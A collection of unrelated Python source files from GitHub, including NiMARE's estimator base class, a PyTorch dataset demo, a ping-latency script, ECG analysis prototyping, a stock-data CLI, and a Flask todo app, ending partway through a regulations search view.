set_params(self, **params):\n \"\"\"Set the parameters of this estimator.\n\n The method works on simple estimators as well as on nested objects\n (such as pipelines). The latter have parameters of the form\n ``__`` so that it's possible to update each\n component of a nested object.\n\n Returns\n -------\n self\n \"\"\"\n if not params:\n # Simple optimization to gain speed (inspect is slow)\n return self\n valid_params = self.get_params(deep=True)\n\n nested_params = defaultdict(dict) # grouped by prefix\n for key, value in params.items():\n key, delim, sub_key = key.partition(\"__\")\n if key not in valid_params:\n raise ValueError(\n \"Invalid parameter %s for estimator %s. \"\n \"Check the list of available parameters \"\n \"with `estimator.get_params().keys()`.\" % (key, self)\n )\n\n if delim:\n nested_params[key][sub_key] = value\n else:\n setattr(self, key, value)\n valid_params[key] = value\n\n for key, sub_params in nested_params.items():\n valid_params[key].set_params(**sub_params)\n\n return self\n\n def save(self, filename, compress=True):\n \"\"\"Pickle the class instance to the provided file.\n\n Parameters\n ----------\n filename : :obj:`str`\n File to which object will be saved.\n compress : :obj:`bool`, optional\n If True, the file will be compressed with gzip. Otherwise, the\n uncompressed version will be saved. Default = True.\n \"\"\"\n if compress:\n with gzip.GzipFile(filename, \"wb\") as file_object:\n pickle.dump(self, file_object)\n else:\n with open(filename, \"wb\") as file_object:\n pickle.dump(self, file_object)\n\n @classmethod\n def load(cls, filename, compressed=True):\n \"\"\"Load a pickled class instance from file.\n\n Parameters\n ----------\n filename : :obj:`str`\n Name of file containing object.\n compressed : :obj:`bool`, optional\n If True, the file is assumed to be compressed and gzip will be used\n to load it. Otherwise, it will assume that the file is not\n compressed. Default = True.\n\n Returns\n -------\n obj : class object\n Loaded class object.\n \"\"\"\n if compressed:\n try:\n with gzip.GzipFile(filename, \"rb\") as file_object:\n obj = pickle.load(file_object)\n except UnicodeDecodeError:\n # Need to try this for python3\n with gzip.GzipFile(filename, \"rb\") as file_object:\n obj = pickle.load(file_object, encoding=\"latin\")\n else:\n try:\n with open(filename, \"rb\") as file_object:\n obj = pickle.load(file_object)\n except UnicodeDecodeError:\n # Need to try this for python3\n with open(filename, \"rb\") as file_object:\n obj = pickle.load(file_object, encoding=\"latin\")\n\n if not isinstance(obj, cls):\n raise IOError(f\"Pickled object must be {cls}, not {type(obj)}\")\n\n return obj\n\n\nclass Estimator(NiMAREBase):\n \"\"\"Estimators take in Datasets and return MetaResults.\n\n All Estimators must have a ``_fit`` method implemented, which applies algorithm-specific\n methods to a Dataset and returns a dictionary of arrays to be converted into a MetaResult.\n\n Users will interact with the ``_fit`` method by calling the user-facing ``fit`` method.\n ``fit`` takes in a ``Dataset``, calls ``_collect_inputs``, then ``_preprocess_input``,\n then ``_fit``, and finally converts the dictionary returned by ``_fit`` into a ``MetaResult``.\n \"\"\"\n\n # Inputs that must be available in input Dataset. Keys are names of\n # attributes to set; values are strings indicating location in Dataset.\n _required_inputs = {}\n\n def _collect_inputs(self, dataset, drop_invalid=True):\n \"\"\"Search for, and validate, required inputs as necessary.\n\n This method populates the ``inputs_`` attribute.\n\n .. versionchanged:: 0.0.12\n\n Renamed from ``_validate_input``.\n\n Parameters\n ----------\n dataset : :obj:`~nimare.dataset.Dataset`\n drop_invalid : :obj:`bool`, optional\n Whether to automatically drop any studies in the Dataset without valid data or not.\n Default is True.\n\n Attributes\n ----------\n inputs_ : :obj:`dict`\n A dictionary of required inputs for the Estimator, extracted from the Dataset.\n The actual inputs collected in this attribute are determined by the\n ``_required_inputs`` variable that should be specified in each child class.\n \"\"\"\n if not hasattr(dataset, \"slice\"):\n raise ValueError(\n f\"Argument 'dataset' must be a valid Dataset object, not a {type(dataset)}.\"\n )\n\n if self._required_inputs:\n data = dataset.get(self._required_inputs, drop_invalid=drop_invalid)\n # Do not overwrite existing inputs_ attribute.\n # This is necessary for PairwiseCBMAEstimator, which validates two sets of coordinates\n # in the same object.\n # It makes the *strong* assumption that required inputs will not changes within an\n # Estimator across fit calls, so all fields of inputs_ will be overwritten instead of\n # retaining outdated fields from previous fit calls.\n if not hasattr(self, \"inputs_\"):\n self.inputs_ = {}\n\n for k, v in data.items():\n if v is None:\n raise ValueError(\n f\"Estimator {self.__class__.__name__} requires input dataset to contain \"\n f\"{k}, but no matching data were found.\"\n )\n self.inputs_[k] = v\n\n @abstractmethod\n def _preprocess_input(self, dataset):\n \"\"\"Perform any additional preprocessing steps on data in self.inputs_.\n\n Parameters\n ----------\n dataset : :obj:`~nimare.dataset.Dataset`\n The Dataset\n \"\"\"\n pass\n\n @abstractmethod\n def _fit(self, dataset):\n \"\"\"Apply estimation to dataset and output results.\n\n Must return a dictionary of results, where keys are names of images\n and values are ndarrays.\n \"\"\"\n pass\n\n def fit(self, dataset, drop_invalid=True):\n \"\"\"Fit Estimator to Dataset.\n\n Parameters\n ----------\n dataset : :obj:`~nimare.dataset.Dataset`\n Dataset object to analyze.\n drop_invalid : :obj:`bool`, optional\n Whether to automatically ignore any studies without the required data or not.\n Default is False.\n\n Returns\n -------\n :obj:`~nimare.results.MetaResult`\n Results of Estimator fitting.\n\n Attributes\n ----------\n inputs_ : :obj:`dict`\n Inputs used in _fit.\n\n Notes\n -----\n The `fit` method is a light wrapper that runs input validation and\n preprocessing before fitting the actual model. Estimators' individual\n \"fitting\" methods are implemented as `_fit`, although users should\n call `fit`.\n \"\"\"\n self._collect_inputs(dataset, drop_invalid=drop_invalid)\n self._preprocess_input(dataset)\n maps, tables = self._fit(dataset)\n\n if hasattr(self, \"masker\") and self.masker is not None:\n masker = self.masker\n else:\n masker = dataset.masker\n\n return MetaResult(self, mask=masker, maps=maps, tables=tables)\n","repo_name":"liuzhenqi77/NiMARE","sub_path":"nimare/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":12363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"8"}
+{"seq_id":"420699233","text":"import torch\nfrom torch.utils.data import Dataset, DataLoader\nimport torchvision\nfrom torchvision.transforms import ToTensor\nimport os\n\nclass MyDataset(Dataset):\n def __init__(self, is_train=True, transform=None):\n super().__init__()\n self.is_train = is_train\n self.transform = transform \n ###################################\n # load all data if it fits into memory, otherwise put references (e. g. file paths) in a list\n if self.is_train:\n self.data = [(11.,1), (12.,1), (13.,1), (14.,0), (15.,0), (16.,0), (17.,0), (18.,0)]\n else:\n self.data = [(11.5,1), (12.5,1), (9.,1), (14.5,0), (17.,0)]\n ###################################\n\n def __getitem__(self, idx):\n ###################################\n # get the sample with index idx, it is self.data[idx] if all data is in memory, \n # otherwise acquire the data associated with the reference self.data[idx]\n sample = self.data[idx]\n ###################################\n if self.transform:\n sample = self.transform(sample) # modify raw data if necessary\n return sample\n\n def __len__(self):\n return len(self.data)\n\n\ndef demo1(dl):\n ''' Using iterators and next with an iterable such as a Dataset or a DataLoader, \n a StopIteration exception may be thrown if no further data is available.\n ''' \n it = iter(dl)\n sample = next(it)\n print(sample)\n sample = next(it)\n print(sample)\n\n \ndef demo2(dl):\n ''' Using a while loop with an iterable such as a Dataset or a DataLoader\n ''' \n for sample in dl:\n print(sample)\n\n\nif __name__ == '__main__':\n # Test your dataset first in a pure Python/Numpy environment, you do not need to know\n # much about Torch for it\n train_ds = MyDataset(is_train=False)\n demo1(train_ds)\n demo2(train_ds)\n \n train_dl = DataLoader(train_ds, batch_size=3, shuffle=False)\n demo1(train_dl)\n demo2(train_dl)\n \n # There are also well-known datasets already prepared.\n # These datasets yield images in the standard Python PIL format. You may convert them to numpy arrays by\n # np.asarray(pil_img). We will use a transform to automatically convert the image to a torch tensor and rescale\n # its pixel values in the range 0..1\n root_dir = os.path.dirname(__file__)\n train_ds = torchvision.datasets.FashionMNIST(root_dir+'/fashion_mnist_data', download=True, transform=ToTensor())\n train_dl = DataLoader(train_ds, batch_size=3, shuffle=False)\n demo1(train_ds)\n demo1(train_dl)\n\n# also try:\n# train_ds = torchvision.datasets.MNIST(root_dir+'/mnist_data', download=True, transform=ToTensor())\n# for the MNIST data. If the download is not successful, search and copy the files \n# t10k-labels-idx1-ubyte.gz and train-labels-idx1-ubyte.gz\n# from the internet and copy it into the mnist_data/MNIST/raw directory.\n\n# Remark: The MNIST server rejects standard Python requests. You may change the requesting user by adding:\n# -----------------------------------------------------\n# import urllib\n# opener = urllib.request.build_opener()\n# opener.addheaders = [('User-agent', 'Mozilla/5.0')]\n# urllib.request.install_opener(opener)\n# -----------------------------------------------------\n\n","repo_name":"SamuelMMT/Projekt_ML","sub_path":"dataloader_demo.py","file_name":"dataloader_demo.py","file_ext":"py","file_size_in_byte":3319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"8"}
+{"seq_id":"6808260249","text":"import os\nimport argparse \nimport json\nfrom tabnanny import check\nfrom geopy.distance import great_circle\nfrom requests import get\nfrom geopy.geocoders import Nominatim\n\nJSON_MIN_RTT = \"min rtt\"\nJSON_AVG_RTT = \"avg rtt\"\nJSON_MAX_RTT = \"max rtt\"\nJSON_MDEV_RTT = \"mdev\"\nJSON_STATUS = \"status\"\nJSON_INFO = \"info\"\n\nOUTPUT_DIRS = [\"./GEOINFO\", \"./PINGS\"]\nGEOINFO_DIR = 0\nPINGS_DIR = 1\n\nPING_FILE = \"pinginfo.txt\"\nGEOFILE = \"geotriplets.txt\"\n\nPING_COUNT = 100\n\nTARGET_HEADERS = [\"TO COUNTRY\", \"TO CITY\", \"COMPLETE TO\", \"TO IP\", \"TO LAT\", \"TO LON\"]\nDISTANCE_HEADER = \"DISTANCE (KM)\"\nSOURCE_HEADERS = [\"FROM COUNTRY\", \"FROM CITY\", \"COMPLETE FROM\", \"FROM IP\", \"FROM LAT\", \"FROM LON\"]\nH_COUNTRY = 0\nH_CITY = 1\nH_COMPLETE_LOC = 2\nH_IP = 3\nH_LATITUDE = 4\nH_LONGITUDE = 5\n\ndef checkDirs():\n print(\"========== CHECKING NECESSARY DIRECTORIES ==========\")\n for dir in OUTPUT_DIRS:\n if not os.path.exists(dir):\n os.makedirs(dir)\n print(\"{} directory created\".format(dir))\n print(\"============ ALL DIRECTORIES ARE READY =============\")\n\ndef getArgParser():\n parser = argparse.ArgumentParser(description='Realiza una cantidad especificada de pings hacia múltiples destinos')\n parser.add_argument('-c', metavar='--ping_count', type=int, required = False, default = PING_COUNT,\n help='Número de pings a ejecutar (por defecto, {})'.format(PING_COUNT))\n parser.add_argument('-fin', metavar='--inputFile', type=str, required = False, default = GEOFILE,\n help='Fichero de entrada con las tripletas Ciudad-IP-Usuario_Remoto (por defecto, {})'.format(GEOFILE))\n\n return parser\n\n\ndef getHeaderValue(headers, idx):\n return headers[idx].split(\":\")[1].strip()\n\n\ndef getHeaders(file,targetFile=False):\n input1 = open(file,\"rt\",encoding=\"utf8\",errors=\"ignore\")\n lines = [line.strip() for line in list(filter(lambda line: line != \"\\n\", input1.readlines()))]\n input1.close()\n\n headers_len = len(TARGET_HEADERS)\n headers = [h+\":\"+v for (h,v) in zip(SOURCE_HEADERS if not targetFile else TARGET_HEADERS, lines[0:headers_len])]\n\n return headers\n\n\n\ndef getDistance(sourcePoint, targetPoint):\n (sLat, sLon) = sourcePoint\n (tLat, tLon) = targetPoint\n\n return great_circle((sLat,sLon),(tLat,tLon)).km\n\n\ndef getSourceFile(files):\n ip = get('https://api.ipify.org').text\n for file in files:\n if ip == list(filter(lambda x: x != \"\\n\" and x != \"\\r\" and x != \"\\r\\n\", open(file,\"rt\",encoding=\"utf8\",errors=\"ignore\").readlines()))[3].strip():\n return file\n\ndef dumpGeoData(geotriplets):\n files = []\n geolocator = Nominatim(user_agent=\"http\")\n print(\"\\n========== PARSING GEO DATA ==========\")\n\n for (city,ip,_) in geotriplets:\n fname = os.path.join(OUTPUT_DIRS[GEOINFO_DIR], \"geo\"+city+\".txt\")\n geofile = open(fname,\"w+\")\n \n loc = geolocator.geocode(city, language=\"en\")\n data = [loc.address.split(\",\")[-1].strip(), city, loc, ip, loc.latitude, loc.longitude]\n geofile.write(\"\\n\".join(map(str,data)))\n \n print(\"{} file was provided with {} geo data\".format(fname, city))\n geofile.close()\n\n files.append(fname)\n\n print(\"========= PARSING TERMINATED =========\")\n\n return files\n \n\nparser = getArgParser()\nargs = parser.parse_args()\ncheckDirs()\ngeofin = open(GEOFILE,\"rt\")\n\n# lista de tripletas (ciudad,ip,nombreMaquina)\ngeotriplets = [tuple(pair.strip().split(\"-\")) for pair in list(filter(lambda x: x != \"\\n\" and x != \"\\r\" and x != \"\\r\\n\",geofin.readlines()[1:]))]\ngeofin.close()\nfiles = dumpGeoData(geotriplets) # vuelca la geoinformacion de cada tripleta en su correspondiente fichero de tipo geo[ciudad].txt\n\nsource = getSourceFile(files)\nsource_h = getHeaders(source)\n\nfor target in files:\n\n baseSource = os.path.basename(source)\n baseTarget = os.path.basename(target)\n if baseSource == baseTarget or not (baseTarget.startswith(\"geo\") and baseTarget.endswith(\".txt\")):\n continue\n\n print(\"File: \"+ target)\n\n target_h = getHeaders(target,True)\n\n dist = getDistance((getHeaderValue(source_h, H_LATITUDE), getHeaderValue(source_h, H_LONGITUDE)), \n (getHeaderValue(target_h, H_LATITUDE), getHeaderValue(target_h, H_LONGITUDE)))\n\n\n outname = OUTPUT_DIRS[PINGS_DIR]+\"/\"+getHeaderValue(source_h,H_CITY).replace(\" \",\"\")+\"-\"+getHeaderValue(target_h,H_CITY).replace(\" \",\"\")+\"-\"+PING_FILE \n out = open(outname,\"w+\")\n out.write(\"\\n\".join(map(str,source_h)))\n out.write(\"\\n\")\n out.write(\"\\n\".join(map(str,target_h)))\n out.write(\"\\n{}:{}\\n\".format(DISTANCE_HEADER,dist))\n\n toIP = getHeaderValue(target_h,H_IP)\n\n minSize = len(out.readlines())+4 #4 es el minimo numero de lineas que genera como output un ping\n\n print(\"PINGING FROM {} TO {}...\".format(getHeaderValue(source_h,H_CITY), getHeaderValue(target_h,H_CITY)))\n print(\"Outputting in {}...\".format(outname))\n pingCMD = \"ping -{} {} {} >> {}\".format(\"n\" if os.name == \"nt\" else \"c\", args.c, toIP, outname)\n print(\"Command: \" + pingCMD)\n response = os.system(pingCMD)\n\n if (response == 1):\n\n data_set = {JSON_STATUS: \"failure\", JSON_INFO: \"FAILURE --> Ping returned error code\"}\n\n else:\n\n flines = list(filter(lambda line: line != \"\\n\", out.readlines()))\n\n if (len(flines) <= minSize):\n\n data_set = {JSON_STATUS: \"failure\", JSON_INFO: \"FAILURE --> Couldn't connect to {}\".format(toIP)}\n\n else:\n\n print(\"SUCCESSFULL PING\")\n if (os.name == \"posix\"):\n\n # dat = [min rtt, avg rtt, max rtt, mdev, status]\n dat = flines[-1::][0].split()[3].split(\"/\")\n data_set = {JSON_MIN_RTT: dat[0], JSON_AVG_RTT: dat[1], JSON_MAX_RTT: dat[2], JSON_MDEV_RTT: dat[3], JSON_STATUS: \"success\"} \n\n else:\n\n # dat = [min rtt, avg rtt, max rtt, status]\n dat = [token.split(\"=\")[1] for token in flines[-1::][0].split(\",\")]\n data_set = {JSON_MIN_RTT: dat[0], JSON_AVG_RTT: dat[2], JSON_MAX_RTT: dat[1], JSON_STATUS: \"success\"} \n\n\n #json_dump = json.dump(data_set, open(JSON_FILE,\"w\"))\n print(json.dumps(data_set))\n print(\"\\n\")\n out.close()\n","repo_name":"HOP-Ubiquitous/geontology","sub_path":"SCRIPTS-ALL/others/ping.py","file_name":"ping.py","file_ext":"py","file_size_in_byte":6232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"8"}
+{"seq_id":"1000682057","text":"# %% Imports\nimport pandas as pd\nimport numpy as np\nimport logging\nimport matplotlib.pyplot as plt\nimport peakutils # for basic peak-finding utils\nimport pywt # for wavelet transform bits\nimport wfdb # for physionet tools\nimport biosppy\nimport neurokit2 as nk\nimport scipy\nimport seaborn as sns\nimport heartpy\n\nimport os\nrepopath = '/Users/inespereira/Documents/Github/aml2020'\nos.chdir(repopath)\n\n# %% Load training dataset from csv\nX = pd.read_csv(f'{repopath}/project3_ines/X_train_small.csv')\n# X = X.iloc[:, 1:]\ny = pd.read_csv(f'{repopath}/project3_ines/y_train_small.csv')\n# y = y.iloc[:, 1:]\nX_u = pd.read_csv(f'{repopath}/project3_ines/X_test.csv')\nlogging.info('I have imported your training dataset! :D')\nprint(f'Shape of training set is {X.shape}')\nsampling_rate = 300\n\n# %%\nX.iloc[:,17979]\n\n# %% Save smaller dataset to not waste hours waiting for loading\nNROWS = 30\nX.iloc[:NROWS, :].to_csv('project3_ines/X_train_small.csv', index=False)\ny.iloc[:NROWS, :].to_csv('project3_ines/y_train_small.csv', index=False)\n\n# %%\nNROWS = 10\nX_u.iloc[:NROWS, :].to_csv('project3_ines/X_test_small.csv', index=False)\n\n# %%\n# print(X)\nX.describe()\n# print(y)\ny.describe()\n\n# %% Making class imbalance apparent\ny['y'].value_counts()\n\n# %% Get indices from the smaller classes\nclass1 = y.index[y['y'] == 1].tolist()\nclass2 = y.index[y['y'] == 2].tolist()\nclass3 = y.index[y['y'] == 3].tolist()\n\n# %%\nprint(class2)\n\n# %% Observations:\n# - a lot of NaNs: but we probably need to extract features anyway\n# - Class imbalance\n\n# %% Allocate space for new training data\ncol_names = [\n 'mean_HR',\n 'std_HR',\n 'P_waved'\n]\nnew_X_train = pd.DataFrame(columns=col_names)\nprint(new_X_train)\n\n# %% Plot some time series\n# TODO: write for loop wrapper over this to apply preprocessing over all time series\nn = 3\necg = X.iloc[n, :].dropna().to_numpy()\nplt.plot(ecg)\nplt.show()\nprint(f'The corresponding class is: {y.iloc[n]}')\nprint(ecg)\n\n# %% Apply Fourier transform: use this to exclude class 3 samples?\necg_fft = np.fft.fft(ecg)\nplt.plot(abs(ecg_fft))\nplt.show()\ntype(ecg_fft)\nprint(ecg_fft)\n# %% Biosppy\necg_biosppy = biosppy.signals.ecg.ecg(\n signal=ecg,\n sampling_rate=sampling_rate,\n show=True)\n\n# %% Analyse biosppy summary\n# type(ecg_biosppy)\n# ecg_biosppy['ts']\n# ecg_biosppy['rpeaks']\nplt.plot(ecg_biosppy['filtered'])\nplt.show()\n# ecg_biosppy['templates_ts']\n# ecg_biosppy['templates']\n# ecg_biosppy['heart_rate_ts']\necg_biosppy['heart_rate']\n\n# %% Populate new_X_train\nnew_X_train.loc[n, 'mean_HR'] = np.mean(ecg_biosppy['heart_rate'])\nnew_X_train.loc[n, 'std_HR'] = np.std(ecg_biosppy['heart_rate'])\nprint(new_X_train)\n\n# %% Save filtered data to mat file\nscipy.io.savemat('test.mat', {'mydata': ecg_biosppy['filtered']})\n\n# %% Wavelets\nwavelets = pywt.wavedec(\n data=ecg,\n wavelet='db4', # from YouTube Video\n level=5\n)\n\n# %% Neurokit2\n# %% Also do analysis\ndf, info = nk.ecg_process(ecg_biosppy['filtered'], sampling_rate=sampling_rate)\nanalyze_df = nk.ecg_analyze(df, sampling_rate=sampling_rate)\nanalyze_df\n\n# %%\ndf\n# %% Download data\n# ecg_signal = nk.data(dataset=\"ecg_3000hz\")['ECG']\n# ecg_signal = pd.Series(ecg_biosppy['filtered'],dtype='float64')\necg_signal = pd.Series(df['ECG_Clean'], dtype='float64')\n\n# Analyze the ecg signal\ntype(ecg_signal)\nprint(ecg_signal)\n# %%\n\n# Extract R-peaks locations\n_, rpeaks = nk.ecg_peaks(ecg_signal, sampling_rate=sampling_rate)\n\n# Delineate\nsignal, waves = nk.ecg_delineate(\n ecg_signal, rpeaks, sampling_rate=sampling_rate, method=\"dwt\", show=True, show_type='all')\n\n\n# %% Plan: define the features you want to look at.\n# 1. Preprocessing of data\n# 1.1. (Ines) Removal of low frequency components. R peaks should be at the same height\n# + Smoothing of signal → ecg function from biosppy does filtering.\n# 1.3. (Raffi) Artefact removal (outlier removal): visuelle Überprüfung\n# 1.4. (Francesco) Identify QRS complex and verify polarity\n# + Find features related to waves\n# For an example: https://www.youtube.com/watch?v=WyjGCEWU4zY\n\n# (Raffi) To isolate class 3:\n# - Extract Fourier transform and plot mean for each class. You should see a peak\n# - Number of artefacts\n# Detect inverted QRS and reinvert them?\n\n# Data-driven: convolutional nets? A mean wave with the variance?\n\n# References and software to check out:\n# Watch (general): https://www.youtube.com/watch?v=WyjGCEWU4zY\n# https://pypi.org/project/py-ecg-detectors/\n# Plotting: https://pypi.org/project/ecg-plot/\n# https://docs.scipy.org/doc/scipy/reference/generated/scipy.misc.electrocardiogram.html\n# Time series anomalies: https://www.youtube.com/watch?v=qN3n0TM4Jno\n# Other ideas: consider nested CV https://www.youtube.com/watch?v=DuDtXtKNpZs\n\n# Preprocessing pipeline steps\n# 1. Detection and exclusion of class 3 from training set (TODO Raffi)\n# 2. Detection of flipped signals and flipping (TODO Raffi + Inês)\n# 3. Filtering (getting isoelectric line and smoothing)\n# 4. Waveform detection\n# 4.1 R-peaks and HR:\n# - mean_HR (class 1)\n# - std_HR (class 1)\n# 4.2 P, QRS and T: TODO (Francesco)\n# - number of P waves, amplitude_P_wave (class 1)\n# - mean_S_amplitude, ?? std_S_amplitude (class 2)\n# - mean_QRS_duration, (class 2)\n# - std_QRS_duration (class 2)\n\n# Build preprocessing pipeline TODO (Inês)\n# - Remove preprocessing from last project (PCA, outlier detection, standardization)\n# - Write down new Estimator\n#\n# Diagnostics plots: TODO (Raffi + Francesco): interactive, that show full time series and segmented P-QRS-T waves\n# import plotly.express as px\n#\n# Sanity checks\n# - Check that HR and R-peaks between biosppy and Neurokit\n","repo_name":"ratheile/aml2020","sub_path":"project3_ines/prototyping.py","file_name":"prototyping.py","file_ext":"py","file_size_in_byte":5684,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"8"}
+{"seq_id":"70927345223","text":"# -*- coding: utf-8 -*-\n\n\"\"\"Console script for mooquant.\"\"\"\n\nimport os\nimport sys\nimport shutil\nimport locale\nimport zipfile\n\nimport click\nfrom tqdm import tqdm\n\nfrom mooquant_history import history\n\n\n@click.group()\n@click.option('-v', '--verbose', count=True)\n@click.pass_context\ndef cli(ctx, verbose):\n ctx.obj[\"VERBOSE\"] = verbose\n\n\n@cli.command(help='A股的历史数据下载(sina源).')\n@click.option('-d', '--directory', default=os.path.expanduser(\"~/.mooquant/bundle\"), type=click.Path(file_okay=False), help='历史数据下载目录, 默认 ~/.mooquant/bundle.')\n@click.option('-i', '--initial', is_flag=True, help='初始化历史, 第一次下载使用该参数, 默认 False.')\n@click.option('-s', '--symbol', default=None, help='更新单个股票的代码, 默认为空.')\n@click.option('-a', '--append', is_flag=True, help='更新股票的代码 增项增量模式.')\n@click.option('-t', '--thread', default='2', help='同时请求线程数, 默认2,建议不要超过5个, 会被封IP.')\n@click.option('--delay', default='0.5', help='默认每次请求后等待时间')\ndef bundle(directory, initial, symbol, append, delay, thread):\n history.bundle(dtype='day', export='csv', **locals()) \n\n@cli.command(help='更新股票代码.')\n@click.option('-d', '--directory', default=os.path.expanduser(\"~/.mooquant/bundle\"), type=click.Path(file_okay=False), help='历史数据下载目录.')\ndef symbol(directory):\n from mooquant_history.helpers.symbol import update_stock_codes\n update_stock_codes()\n\n@cli.command(help='实时行情(支持sina, qq, ).')\n@click.option('-s', '--symbol', default=None, help='单个股票的代码行情.')\ndef quotes(symbol):\n click.echo('运行实时行情')\n\n\n@cli.command(help='导出 bundle.')\n@click.option('-d', '--directory', default=os.path.expanduser(\"~/.mooquant/bundle\"), type=click.Path(file_okay=False), help='历史数据下载目录.')\n@click.option('-o', '--output', default=os.path.expanduser(\"./bundle\"), type=click.Path(file_okay=False), help='导出文件目录, 默认当前目录.')\ndef export(directory, output):\n data_path = os.path.join(directory, 'day', 'raw_data')\n file_name = os.path.join(output,'bundle.zip')\n file_list = [f for f in os.listdir(data_path) if f.endswith('.csv')]\n\n click.echo('Starting...')\n z = zipfile.ZipFile(file_name, 'w', zipfile.ZIP_DEFLATED)\n\n if file_list: \n for f in tqdm(file_list):\n z.write(os.path.join(data_path, f), f) \n\n z.close()\n click.echo('done.')\n\n\n@cli.command(help='转换为 MooQaunt 格式.')\n@click.option('-s', '--strategy', default='', help='运行回测规则路径.')\ndef covert(strategy):\n click.echo('运行回测规则')\n\ndef main():\n cli(obj={})\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"bopo/mooquant_history","sub_path":"mooquant_history/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":2770,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"8"}
+{"seq_id":"11868526940","text":"import configparser\nimport os\nimport shutil\n\nCONFIG = configparser.ConfigParser()\n\nif not os.path.exists('config.ini'):\n shutil.copy('config.ini.example', 'config.ini')\nCONFIG.read('config.ini')\n\nif not os.path.exists(CONFIG['app']['data_dir']):\n os.mkdir(CONFIG['app']['data_dir'])\n\nif not os.path.exists(CONFIG['app']['note_dir']):\n os.mkdir(CONFIG['app']['note_dir'])\n\nif not os.path.exists(CONFIG['app']['index_dir']):\n os.mkdir(CONFIG['app']['index_dir'])\n","repo_name":"fzdp/wxpython-note","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"zh","doc_type":"code","stars":12,"dataset":"github-code","pt":"8"}
+{"seq_id":"73818992263","text":"from flask import Flask, render_template, request, redirect\nfrom flask_sqlalchemy import SQLAlchemy\nfrom datetime import datetime\n\napp = Flask(__name__)\napp.config[\"SQLALCHEMY_DATABASE_URI\"] = \"sqlite:///todo.db\"\napp.config[\"SQLALCHEMY_TRACK_MODIFICATIONS\"] = False\ndb = SQLAlchemy(app)\n\nclass Todo(db.Model):\n sno = db.Column(db.Integer,primary_key = True)\n your_name = db.Column(db.String(200),nullable =False)\n item = db.Column(db.String(500),nullable = False)\n quantity = db.Column(db.Integer,nullable = False)\n date_created = db.Column(db.DateTime,default = datetime.now())\n\n def __repr__(self) ->str:\n return f\"{self.sno} - {self.your_name}\"\n\n@app.route(\"/\",methods = [\"GET\",\"POST\"])\n\ndef home():\n if request.method == \"POST\":\n your_name = request.form['your_name']\n item = request.form['item']\n quantity = request.form['quantity']\n todo = Todo(your_name = your_name,item=item,quantity=quantity)\n db.session.add(todo)\n db.session.commit()\n allTodo = Todo.query.all()\n return render_template(\"index.html\",allTodo = allTodo)\n\n@app.route(\"/delete/\")\ndef delete(sno):\n todo = Todo.query.filter_by(sno=sno).first()\n db.session.delete(todo)\n db.session.commit()\n return redirect(\"/\")\n\n@app.route(\"/update/\",methods = ['GET','POST'])\ndef update(sno):\n if request.method == \"POST\":\n your_name = request.form['your_name']\n item = request.form['item']\n quantity = request.form['quantity']\n todo = Todo.query.filter_by(sno=sno).first()\n todo.your_name = your_name\n todo.item = item\n todo.quantity = quantity\n db.session.add(todo)\n db.session.commit()\n return redirect(\"/\")\n todo = Todo.query.filter_by(sno=sno).first()\n return render_template(\"update.html\",todo=todo)\n@app.route(\"/about\")\ndef about():\n return render_template(\"about.html\")\nif __name__ == \"__main__\":\n app.run(debug=True,port=5000)\n","repo_name":"heera-ai/OurFood","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"8"}
+{"seq_id":"16346400541","text":"from copy import deepcopy\n\nfrom django.core.urlresolvers import reverse\n\nfrom regulations.generator import api_reader, node_types\nfrom regulations.generator.html_builder import PreambleHTMLBuilder\nfrom regulations.generator.section_url import SectionUrl\nfrom regulations.generator.versions import fetch_grouped_history\nfrom regulations.views.partial import PartialView\nimport math\n\nPAGE_SIZE = 10\n\n\nurl_rules = {\n 'cfr': 'chrome_search',\n 'preamble': 'chrome_search_preamble',\n}\n\n\nclass PartialSearch(PartialView):\n \"\"\"Display search results without any chrome.\"\"\"\n template_name = 'regulations/search-results.html'\n\n def add_prev_next(self, current_page, context):\n total = float(context['results']['total_hits']) / PAGE_SIZE\n total = int(math.ceil(total))\n context['current'] = {'page': current_page + 1, 'total': total}\n\n if current_page > 0:\n context['previous'] = {'length': PAGE_SIZE,\n 'page': current_page - 1}\n max_this_page = (current_page + 1) * PAGE_SIZE\n remaining = context['results']['total_hits'] - max_this_page\n if remaining > 0:\n context['next'] = {'page': current_page + 1,\n 'length': min(remaining, PAGE_SIZE)}\n\n def get_context_data(self, doc_type, **kwargs):\n # We don't want to run the content data of PartialView -- it assumes\n # we will be applying layers\n context = super(PartialView, self).get_context_data(**kwargs)\n\n context['q'] = self.request.GET.get('q')\n context['version'] = self.request.GET.get('version')\n context['doc_type'] = doc_type\n\n context['regulation'] = context['label_id'].split('-')[0]\n context['url_rule'] = url_rules[doc_type]\n\n try:\n page = int(self.request.GET.get('page', '0'))\n except ValueError:\n page = 0\n\n context['warnings'] = []\n if not context['q']:\n context['warnings'].append('Please provide a query.')\n if doc_type == 'cfr' and not context['version']:\n context['warnings'].append('Please provide a version.')\n\n if context['warnings']:\n results = {'results': [], 'total_hits': 0}\n else:\n results = api_reader.ApiReader().search(\n context['q'], context['doc_type'],\n version=context['version'], regulation=context['regulation'],\n page=page, page_size=PAGE_SIZE,\n is_root='false', is_subpart='false',\n )\n\n if doc_type == 'cfr':\n context['results'] = process_cfr_results(results,\n context['version'])\n for version in fetch_grouped_history(context['regulation']):\n for notice in version['notices']:\n if notice['document_number'] == context['version']:\n context['version_by_date'] = notice['effective_on']\n else:\n context['results'] = process_preamble_results(results)\n\n self.add_prev_next(page, context)\n\n return context\n\n\ndef add_cfr_headers(result):\n \"\"\"We always want a title to click, even if the search result doesn't have\n one. We also want to prevent duplication, so we'll only show additional\n levels of headings if they differ.\"\"\"\n if result.get('title'):\n result['header'] = result['title']\n else:\n result['header'] = node_types.label_to_text(result['label'])\n if result.get('match_title') and result['match_title'] != result['title']:\n result['subheader'] = result['match_title']\n if (result.get('paragraph_title') and\n result['paragraph_title'] != result['match_title']):\n result['subsubheader'] = 